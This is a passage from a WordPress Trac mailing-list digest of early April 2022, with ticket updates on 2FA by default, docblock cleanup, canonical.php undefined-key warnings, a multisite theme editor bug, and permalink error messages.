clarify link purpose. Props kebbet, sabernhardt. Fixes #55252. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55252#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 20:19:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 20:19:03 -0000 Subject: [wp-trac] [WordPress Trac] #54394: Add functions for required fields indicator and message In-Reply-To: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> References: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> Message-ID: <070.a176096d24cca26e39facf3dc5c5356d@wordpress.org> #54394: Add functions for required fields indicator and message -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch required-fields dev- | Focuses: feedback | accessibility -------------------------------------------------+------------------------- Comment (by joedolson): I think it absolutely makes sense to propagate these changes out right away, in every place possible. I don't see any reason not to implement those changes directly in this patch, and propagate this right away. If there are examples of required indicators in the admin that use a different HTML/class pattern, then those probably need to be documented and handled as individual patches, but the ones that are exact matches are an easy replacement. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54394#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 20:20:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 20:20:31 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.396f2e388c18cd66cd3b078003a5f398@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Changes (by joedolson): * owner: (none) => joedolson * status: new => accepted -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 23:27:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 23:27:40 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.c154624bff8c7eeb44008df8f72c1af6@wordpress.org> #55506: HTML tags not escaped -------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: docs -------------------------------------+----------------------------- Changes (by SergeyBiryukov): * keywords: has-patch needs-testing close => has-patch needs-testing Comment: #54729 is a general ticket for any issues that don't have their own ticket. For more specific changes like this, I think it's fine to make any follow-up fixes on the same ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 00:09:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 00:09:13 -0000 Subject: [wp-trac] [WordPress Trac] #55514: 2FA by default for WordPress Message-ID: <050.b0f6497178f7332ec3a0c7238fbc9248@wordpress.org> #55514: 2FA by default for WordPress -----------------------------+----------------------------- Reporter: jamsec | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Keywords: Focuses: | -----------------------------+----------------------------- Hi WordPress! Hope this message finds you well! I'm a senior security analyst/researcher from Sucuri and I wanted to reach out to you all with an inquiry and feature request. I initially reached out to Fio (my old colleague) from WordPress.com and he directed me here. Apologies if I should have submitted this to HackerOne instead, but it's not a specific "vulnerability" ''per se''. I'm writing a piece for our Sucuri blog on how 2FA-by-default should be in WordPress, similar to how Akismet is included in a default WordPress installation to combat comment spam. A HUGE number of website compromises that we deal with on a daily basis at Sucuri could have been avoided by a simple 2FA additional authentication. With WordPress being over 40% of the web, I think that 2FA-by-default could be a game changer in terms of making the web a much safer place and avoiding a LOT of headaches and malware issues for WordPress website admins. Adobe made 2FA default in all new Magento2 installations, as they were dealing with exactly the same chronic issues of security (abuse of public- facing login pages with no additional authentication). You can turn it off afterwards if you want, but it's included by default during the installation process. What are your thoughts on including 2FA by default in new wordpress.org installations? I know JetPack includes 2FA, but it's linked to wordpress.com and I understand that .com and .org need to remain rightfully separate. I'd like to include your thoughts in my blog piece if that's ok. Looking forward to hearing back! Cheers, Ben -- Ticket URL: <https://core.trac.wordpress.org/ticket/55514> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 02:45:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 02:45:56 -0000 Subject: [wp-trac] [WordPress Trac] #55514: 2FA by default for WordPress In-Reply-To: <050.b0f6497178f7332ec3a0c7238fbc9248@wordpress.org> References: <050.b0f6497178f7332ec3a0c7238fbc9248@wordpress.org> Message-ID: <065.d43c769fc25b6c4e901c32f2b3c3f2cd@wordpress.org> #55514: 2FA by default for WordPress -----------------------------+------------------------------ Reporter: jamsec | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: Keywords: | Focuses: -----------------------------+------------------------------ Comment (by jorbin): Hi @jamsec, welcome to trac. Related: https://make.wordpress.org/core/tag/two-factor/ I couldn't find a relevant ticket, but @georgestephanis may know one. When including this in core has been discussed in the past, some of the hesitations has been around creating a system where users won't end up locking themselves out of their sites. @macmanx [https://make.wordpress.org/core/2015/12/11/2fa-2fa-2fa/ put it well]: > I’ll say it this way: We want users to be able to secure their sites with 2FA, not sit back and watch outdated abandoned sites pile up because they locked themselves out and simply give up when when we mention FTP, Database, or SSH. The #core-passwords room in slack, [https://wordpress.org/plugins/two- factor/ Featured Plugin], and [https://make.wordpress.org/core/tag/two- factor/ numerous make core posts] should be able to provide you with some more information. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55514#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 06:13:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 06:13:12 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.899bae84f74c62c34fe2243a7496bd3f@wordpress.org> #55506: HTML tags not escaped -------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: docs -------------------------------------+----------------------------- Changes (by mukesh27): * Attachment "55506.2.patch" added. Fix for <head> tag -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 08:32:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 08:32:52 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.262b027a22c4b5b7140b97430d7d37d9@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by tobifjellner): Replying to [comment:94 georgestephanis]: > @spacedmonkey Following [53049] in #meta it was reported that this can change the author of a post. > > Should we add an `else` condition that just injects a hidden field to preserve the existing author in cases where the dropdown doesn't show? Link to discussion in Slack: https://wordpress.slack.com/archives/C02QB8GMM/p1648818054123939 -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:95> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 08:42:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 08:42:46 -0000 Subject: [wp-trac] [WordPress Trac] #55217: welcome balloons In-Reply-To: <051.e1203a32d545f9a3d67e703d45fa63c1@wordpress.org> References: <051.e1203a32d545f9a3d67e703d45fa63c1@wordpress.org> Message-ID: <066.b3e9ddb88246c704c302c265ccd4cbe7@wordpress.org> #55217: welcome balloons ----------------------------+-------------------------------------- Reporter: in2info | Owner: (none) Type: enhancement | Status: closed Priority: normal | Milestone: Component: Administration | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: ui, css, administration ----------------------------+-------------------------------------- Comment (by paaljoachim): Is there any reason for not being able to remove the balloons with just using this CSS? {{{ .welcome-panel::before { display: none; !important } }}} I was able to add the function to remove the balloons from the welcome panel. I bring up these things as I am these days reworking various WordPress tutorials that I have created. One of them is about removing and adding Dashboard widgets. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55217#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 11:09:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 11:09:02 -0000 Subject: [wp-trac] [WordPress Trac] #54905: PHP notice while accessing Customizer In-Reply-To: <051.9c2a17d74e4bb75a06812a0d838fa122@wordpress.org> References: <051.9c2a17d74e4bb75a06812a0d838fa122@wordpress.org> Message-ID: <066.2f51b7b5dbf68532251dd67a97f17c16@wordpress.org> #54905: PHP notice while accessing Customizer -------------------------------------------------+------------------------- Reporter: Boniu91 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 5.9.4 Component: Customize | Version: Severity: normal | Resolution: Keywords: needs-testing has-testing-info has- | Focuses: screenshots needs-patch | -------------------------------------------------+------------------------- Changes (by azouamauriac): * Attachment "54905.diff" added. Patch updated. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54905> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 11:14:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 11:14:31 -0000 Subject: [wp-trac] [WordPress Trac] #54905: PHP notice while accessing Customizer In-Reply-To: <051.9c2a17d74e4bb75a06812a0d838fa122@wordpress.org> References: <051.9c2a17d74e4bb75a06812a0d838fa122@wordpress.org> Message-ID: <066.314ad30339ac6439ea4542d48519c556@wordpress.org> #54905: PHP notice while accessing Customizer -------------------------------------------------+------------------------- Reporter: Boniu91 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 5.9.4 Component: Customize | Version: Severity: normal | Resolution: Keywords: needs-testing has-testing-info has- | Focuses: screenshots has-patch | -------------------------------------------------+------------------------- Changes (by azouamauriac): * keywords: needs-testing has-testing-info has-screenshots needs-patch => needs-testing has-testing-info has-screenshots has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/54905#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 11:25:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 11:25:08 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2334353=3A_redirect=5F?= =?utf-8?q?canonical=28=29_=E2=80=93_Undefined_indexes_=27host=27_and_=27s?= =?utf-8?q?cheme=27?= In-Reply-To: <052.d2b94e26c7f4f17a6607f9d4a254dd3b@wordpress.org> References: <052.d2b94e26c7f4f17a6607f9d4a254dd3b@wordpress.org> Message-ID: <067.0d11c5e61073902007e536210475d57d@wordpress.org> #34353: redirect_canonical() – Undefined indexes 'host' and 'scheme' ------------------------------------------+----------------------------- Reporter: theamila | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future Release Component: Canonical | Version: 4.3.1 Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------------- Comment (by ecomturbo): This bug is still littering the log files in v5.9.2, out of the box. Seriously annoying. It would be really appreciated if this could be solved once and for all. Thank you. Undefined array key "host" unknown /wp-includes/canonical.php: 699 Undefined index: scheme unknown /wp-includes/canonical.php: 854 Undefined array key "host" unknown /wp-includes/canonical.php: 699 Undefined index: scheme unknown /wp-includes/canonical.php: 854 -- Ticket URL: <https://core.trac.wordpress.org/ticket/34353#comment:33> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 11:40:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 11:40:24 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.18908679eee6435dba3632f6ce2b4912@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Changes (by azouamauriac): * Attachment "54729.3.diff" added. Use third-person singular verbs for function descriptions in src/wp- includes/class-wp-customize-manager.php -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 12:09:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 12:09:03 -0000 Subject: [wp-trac] [WordPress Trac] #54647: Blocks: Add support for themes to block API v2 with assets in block.json In-Reply-To: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> References: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> Message-ID: <072.0bff297e350d6884aff3b4f220fcae11@wordpress.org> #54647: Blocks: Add support for themes to block API v2 with assets in block.json -------------------------------------------+------------------------------ Reporter: whoisnegrello | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing close | Focuses: -------------------------------------------+------------------------------ Comment (by fabiankaegy): @ocean90 I've also included the feedback you've had on the original patch and made sure that all the tests are passing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54647#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 13:45:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 13:45:22 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.4ca8943516cf5e6477b4acf1c09379a3@wordpress.org> #55506: HTML tags not escaped -------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: docs -------------------------------------+----------------------------- Comment (by SergeyBiryukov): Thanks for the additional fixes! Looking at [attachment:"55506.2.patch"], I think most of these instances are fine, as the documentation standards, when mentioning HTML markup, specifically refer to function summaries and not other DocBlock parts or inline comments. As seen in the [https://developer.wordpress.org/reference/functions/wp_enqueue_script/ wp_enqueue_script()] function reference, the description for the `$in_footer` parameter is displayed correctly as is. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 13:45:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 13:45:22 -0000 Subject: [wp-trac] [WordPress Trac] #55515: About the problem that the php file of the theme editor and plugin editor cannot be edited in multi-site Message-ID: <060.37e8ce9cfb735067f3812b2f8fbaa3bf@wordpress.org> #55515: About the problem that the php file of the theme editor and plugin editor cannot be edited in multi-site --------------------------------+----------------------------- Reporter: ishihara takashi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Networks and Sites | Version: 5.9.2 Severity: normal | Keywords: has-patch Focuses: multisite | --------------------------------+----------------------------- Nice to meet you. Create a ticket for the first time. If you do not follow the rules, please let me know. In multi-site, when editing with the theme editor and plugin editor of the management screen, the php file is in an uneditable state. After verification, it was possible to solve it by changing the admin_url function on lines 552 to 562 of wp-admin / includes / file.php to the network_admin_url function. https://github.com/WordPress/WordPress/blob/master/wp- admin/includes/file.php#L552-L562 The problem is that I'm making a validation request containing wp_scrape_key for a php file, but even for multi-site the request is now sent to /wp-admin/theme-editor.php. Therefore, when verifying wp_scrap_key, it will be redirected to /wp- admin/network/theme-editor.php and cannot be verified, resulting in loopback_request_failed that cannot be edited. This seems to be happening at all multi-sites. If anyone knows, please let me know. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55515> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 13:46:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 13:46:04 -0000 Subject: [wp-trac] [WordPress Trac] #55515: About the problem that the php file of the theme editor and plugin editor cannot be edited in multi-site In-Reply-To: <060.37e8ce9cfb735067f3812b2f8fbaa3bf@wordpress.org> References: <060.37e8ce9cfb735067f3812b2f8fbaa3bf@wordpress.org> Message-ID: <075.cdf345d1867fd02e1316d3513444cee7@wordpress.org> #55515: About the problem that the php file of the theme editor and plugin editor cannot be edited in multi-site --------------------------------+------------------------------ Reporter: ishihara takashi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Networks and Sites | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: multisite --------------------------------+------------------------------ Changes (by ishihara takashi): * Attachment "file.php" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55515> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 13:53:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 13:53:22 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.97a11f42166db36582cc1d2d55a7d673@wordpress.org> #55506: HTML tags not escaped -------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: docs -------------------------------------+----------------------------- Changes (by SergeyBiryukov): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53053" 53053]: {{{ #!CommitTicketReference repository="" revision="53053" Docs: Further remove HTML markup from various function summaries. Per the [https://developer.wordpress.org/coding-standards/inline- documentation-standards/php/#summary-formerly-short-description WordPress PHP documentation standards], no HTML markup or Markdown of any kind should be used in the summary. This ensures that the summary is displayed correctly in the [https://developer.wordpress.org/reference/ WordPress Code Reference]. This commit also improves formatting of HTML special characters in descriptions in `wp-includes/formatting.php`. Follow-up to [53048]. Props johnbillion, mukesh27. Fixes #55506. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 15:24:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 15:24:40 -0000 Subject: [wp-trac] [WordPress Trac] #55516: Undefined array key "host" + "Key" Message-ID: <052.5db4218fc18aa93d199c7d369aba8de5@wordpress.org> #55516: Undefined array key "host" + "Key" --------------------------+----------------------------- Reporter: Mayhem30 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Canonical | Version: 5.9.2 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- I'm still having this issue in WP 5.9.2 - when will this be fixed? My server is running Nginx 1.21.6, PHP-FPM, PHP 8.0.17 {{{ [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "host" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 687 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "host" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 696 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "host" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 699 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "scheme" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 720 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "host" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 687 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "host" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 696 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "host" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 699 [02-Apr-2022 00:43:55 UTC] PHP Warning: Undefined array key "scheme" in /usr/opt/www/qcybb.com/httpdocs/wp-includes/canonical.php on line 720 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55516> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 16:06:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 16:06:31 -0000 Subject: [wp-trac] [WordPress Trac] #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme In-Reply-To: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> References: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> Message-ID: <070.217a8832efe1c4f0b7ed2736fde10f07@wordpress.org> #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme ----------------------------------------+----------------------------- Reporter: ianbelanger | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-patch good-first-bug | Focuses: ui ----------------------------------------+----------------------------- Comment (by alansyue): @ianbelanger I am interested in doing this feature, and I'd like to know do you mean we should support the gradient background options (such as picture 1) to the theme's color scheme (picture 2)? Thanks :) **picture 1** [[Image(https://i.imgur.com/ZcV8wwl.png)]] **picture 2** [[Image(https://i.imgur.com/shbDF9U.png)]] -- Ticket URL: <https://core.trac.wordpress.org/ticket/49763#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 16:20:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 16:20:16 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.db556e1b47baab15af22f0fb9d4592cf@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53054" 53054]: {{{ #!CommitTicketReference repository="" revision="53054" Docs: Use third-person singular verbs for function descriptions in `WP_Customize_Manager` class, per the documentation standards. Props azouamauriac. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:55> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 16:24:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 16:24:40 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.7ad7aa7708aeccce5c56b3aab8c3903b@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53055" 53055]: {{{ #!CommitTicketReference repository="" revision="53055" Docs: Use third-person singular verbs for function descriptions in `WP_Customize_Nav_Menus` class, per the documentation standards. Follow-up to [53054]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:56> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 17:38:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 17:38:09 -0000 Subject: [wp-trac] [WordPress Trac] #55517: Problema con l'impostazione della lingua del sito e anche Woocommerce Message-ID: <054.d7bf6c1fdea8b3798ce23bb00404000c@wordpress.org> #55517: Problema con l'impostazione della lingua del sito e anche Woocommerce --------------------------+----------------------------- Reporter: nathlugano | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Buonasera, Ho installato WP org, sulla la pagina impostazione generali non riesco ad mettere l'italiano, ritorna sempre al inglese. Ho anche woocommerce è un problema perché quando esco del mio builder per andare in wordpress org certe cart sono in inglese. Mi potete aiutare Grazie e buona serata -- Ticket URL: <https://core.trac.wordpress.org/ticket/55517> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 18:57:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 18:57:11 -0000 Subject: [wp-trac] [WordPress Trac] #55517: Problema con l'impostazione della lingua del sito e anche Woocommerce In-Reply-To: <054.d7bf6c1fdea8b3798ce23bb00404000c@wordpress.org> References: <054.d7bf6c1fdea8b3798ce23bb00404000c@wordpress.org> Message-ID: <069.b8d5336b712023039d235c44e3b51224@wordpress.org> #55517: Problema con l'impostazione della lingua del sito e anche Woocommerce --------------------------+------------------------------ Reporter: nathlugano | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: close | Focuses: --------------------------+------------------------------ Changes (by sabernhardt): * keywords: => close Comment: Hi and welcome to Trac! The support forums could be more helpful for individual site help: - [https://it.wordpress.org/support Forum Italiano] - [https://wordpress.org/support/plugin/woocommerce/ WooCommerce support] First, make sure you have all the translations installed. Go to Updates (''Aggiornamenti''). If an ''aggiorna'' button displays under the ''Traduzioni'' heading, click it to install any missing translations. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55517#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 2 20:13:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 02 Apr 2022 20:13:31 -0000 Subject: [wp-trac] [WordPress Trac] #55516: Undefined array key "host" + "Key" In-Reply-To: <052.5db4218fc18aa93d199c7d369aba8de5@wordpress.org> References: <052.5db4218fc18aa93d199c7d369aba8de5@wordpress.org> Message-ID: <067.fc9426a3371bad4170665f023bdc16f4@wordpress.org> #55516: Undefined array key "host" + "Key" --------------------------+------------------------ Reporter: Mayhem30 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Canonical | Version: 5.9.2 Severity: normal | Resolution: duplicate Keywords: | Focuses: --------------------------+------------------------ Changes (by SergeyBiryukov): * status: new => closed * resolution: => duplicate * milestone: Awaiting Review => Comment: Hi there, welcome back to WordPress Trac! Thanks for the report, we're already tracking this issue in #34353. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55516#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sun Apr 3 00:10:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sun, 03 Apr 2022 00:10:55 -0000 Subject: [wp-trac] [WordPress Trac] #53141: Improve permalinks settings error messages In-Reply-To: <055.868fa2235b5616fd9dd891590b2b3d17@wordpress.org> References: <055.868fa2235b5616fd9dd891590b2b3d17@wordpress.org> Message-ID: <070.c1481fda708be9742b609948ccd41089@wordpress.org> #53141: Improve permalinks settings error messages -------------------------------------+------------------------------------- Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Permalinks | Version: Severity: normal | Resolution: Keywords: has-patch needs-copy- | Focuses: administration, ui- review | copy -------------------------------------+------------------------------------- Changes (by sabernhardt): * keywords: has-patch => has-patch needs-copy-review Comment: === Updated text after r53047 (which added the Mac shortcut) ==== `web.config` is not writable 1. Error: Your `web.config` file is not [https://wordpress.org/support/article/changing-file-permissions/ writable], so updating it 